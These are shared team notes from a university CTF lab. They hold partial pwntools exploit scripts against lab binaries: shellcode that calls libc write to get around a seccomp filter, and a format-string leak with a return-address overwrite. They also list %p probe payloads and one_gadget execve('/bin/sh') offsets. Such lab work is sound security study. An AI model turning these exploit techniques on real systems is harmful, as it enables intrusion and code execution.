#CTF Lab 10
*if you are working on a seciton put your name there so we dont have any overlap on challenges*
## Hidden
degree and force(N)
It want's you to guess the degrees and the force required based on the information in the book (coefficients of static and sliding friction). There are 4 entries. I've gotten through it. If your numbers are good it moves you on if not, it says your off the map. Based on the right numbers it will provide an output, like Gold 9.35475893 m. I'm trying to find the right combination.
## Patch
@Michael Notes:
+ Fixing a broken compressed archive
+ Fixed it:
#!/usr/bin/python3
import zlib
from binascii import unhexlify
import sys
#./data comes from 'nc rodimus.gtisc.gatech.edu 1020', just copy into a file
with open("./data", 'r') as f:
data = f.read()[:-2]
bdata = unhexlify(data)
zobj = zlib.decompressobj()
zdata = zobj.decompress(bdata)
sys.stdout.buffer.write(zdata) #save this into a file, it'll be the binary
+ I patched all the letters in delicious... but apparently that's not the challenge... RIP lmao
+ 2658, 101; 2671, 105; 2683, 99; 2692, 108; 2705, 99
+ Guess we've gotta patch it to be vulnerable...?
+ {2637, 50-59; 2638, 120} will give a fmtstr vuln, but it's pretty weak.
+ Or maybe the goal is to patch it some other way? I have no idea.
## easy_chal
@dylan took a break
this challege directly calls shellcode that we give it but it calls seccomp which filters allowed syscalls but there are no calls added to the filter so i dont actually think the shellcode is how we get the flag from this.
@M: This is one two remaining unsolved challenges...
+ SCMP_ACT_KILL
+ The thread will be terminated by the kernel with SIGSYS when it calls a syscall that does not match any of the configured seccomp filter rules. The thread will not be able to catch the signal.
+ I believe this means there's an empty whitelist, e.g., NO SYSCALLS allowed.
+ I guess that means we have to grab it from memory somehow?
```
#!/usr/bin/env python3
from pwn import *
#p = remote("rodimus.gtisc.gatech.edu", 9998)
p = process("./easy-chal")
context.arch = 'amd64'
# move base pointer to new register
# incriment up one address
# offset to libc write
#0x00007ffff77e3c87 → <__libc_start_main+231> mov edi, eax
#0x00007ffff77e3c87 0x00007ffff7baf000
print(0x00007ffff7baf000 - 0x00007ffff77e3c87)
write_offset = 0x1100f0
libc_base_offset = 0x3CB379
flag_buffer_rsi_offset = 0xB6BFD0
write_offset_from_libc_start_main = 0x2BB289
#0x2DCF10
#rdi arg 1
#rsi arg 2
#rdx arg 3
shellcode = """
mov rdi, rbp
add rdi, 0x8
mov rdx, [rdi]
add rdx, 0x3CB379
sub rdx, 0x2DCF10
add r12, 0x2F20
mov r10, rdx
mov rdi, 0x1
mov rsi, r12
mov rdx, 0x64
call r10
"""
shellcode_str = asm(shellcode, arch = 'amd64')
pause()
p.sendline(shellcode_str)
p.interactive()
```
## backdoor
@dylan away you can try if you want
options 1-6
if you try to interact before calling create it fails
option 5 is overwite not sure what it does yet
option 6 is an echo
if you double delete tcache catches the double free and ends the program
@Michael notes
+ There's a fmtstr vuln w/ option 6
+ Override (5) will accept 30 char exactly
+ Printer (6) will accept 7 char
## fmtstrROP
@Steve working
HINT: Have you created the passwords for the flag
(@M: I'm guessing this means running "write_flag_code1", "write_flag_code2", and then "read_flag" in the ROP chain)
@Michael Notes:
+ Arbitrary write:
+ AAAAAAAA%10$p
+ hmmm, AAAAAAAA0x4141414141414141 isn't valid input
+ Control hijack:
+ %6$p + 0x3b8 - on my local machine - is EIP after you quit w/ q
+ Ultimately, even though I could gain control of the EIP, my program would always crash. I failed.
```
#!/usr/bin/python2
from pwn import *
import re
context.arch = 'x86_64'
p = process("./lab10_fmtstrROP")
#p = remote("rodimus.gtisc.gatech.edu", 9012)
p.recvuntil("do?")
p.sendline("|%1$p|%6$p|%41$p|")
#p.sendline("|%1$p|%5$p|") # 5 worked on server - 6 worked for me locally
p.recvuntil("\n")
leak = p.recvuntil("\n").split("|")
print(leak)
base_addr = int(re.findall("0x[a-fA-F0-9]{9}", leak[1])[0] + "000", 16) - 0x2000
WRITE_FLAG_1 = 0x1428 + base_addr
WRITE_FLAG_2 = 0x1548 + base_addr
READ_FLAG = 0x1679 + base_addr
MAIN = 0x19e6 + base_addr
PLAY_GAME = 0x10173a + base_addr
POP_RBP = 0x0000000000001353 + base_addr
stack_addr = int(re.findall("0x[a-fA-F0-9]*", leak[2])[0], 16)
ret_addr = stack_addr + 0x3b8
#libc_addr = int(re.findall("0x[a-fA-F0-9]*", leak[3])[0], 16)
#libc_base_addr = libc_addr - 0x217799
print("Base addr: " + hex(base_addr))
print("Ret addr: " + hex(ret_addr))
#print("Libc base addr: " + hex(libc_base_addr))
p.interactive()
payload = fmtstr_payload(10, {int(ret_addr) : int(WRITE_FLAG_1 + 20)}, 6)
p.sendline(payload)
#p.sendline("d")
#payload = fmtstr_payload(10, {int(ret_addr) + 40 : int(POP_RBP)}, 6)
#p.sendline(payload)
#payload = fmtstr_payload(10, {int(ret_addr) + 48 : int(ret_addr) + 40}, 6)
#p.sendline(payload)
#payload = fmtstr_payload(10, {int(ret_addr) + 64 : int(WRITE_FLAG_2) + 0x8}, 6)
#p.sendline(payload)
#payload = fmtstr_payload(10, {int(ret_addr) + 64 : int(READ_FLAG)}, 6)
#p.sendline(payload)
```
@End Michael Notes
%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|
hmmm, 0x562981c902cf|(nil)|(nil)|0x7c70257c70257c70|0x7ff7fc64d9c0|(nil)|0x8a00000000|0x20700000047|0x562982bb1260|0x70257c70257c7025|0x257c70257c70257c|0x7c70257c70257c70|0x70257c70257c7025|0x257c70257c70257c|0x7c70257c70257c70|0x70257c70257c7025|0x7f007c70257c|0x7ff7fcafb4c8|(nil)|0x7ffc84ff4340| isn't valid input
This is one_gadget (execve(/bin/sh)) via libc.so.6:
$ one_gadget libc.so.6
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
## HackMapExec
## wonderland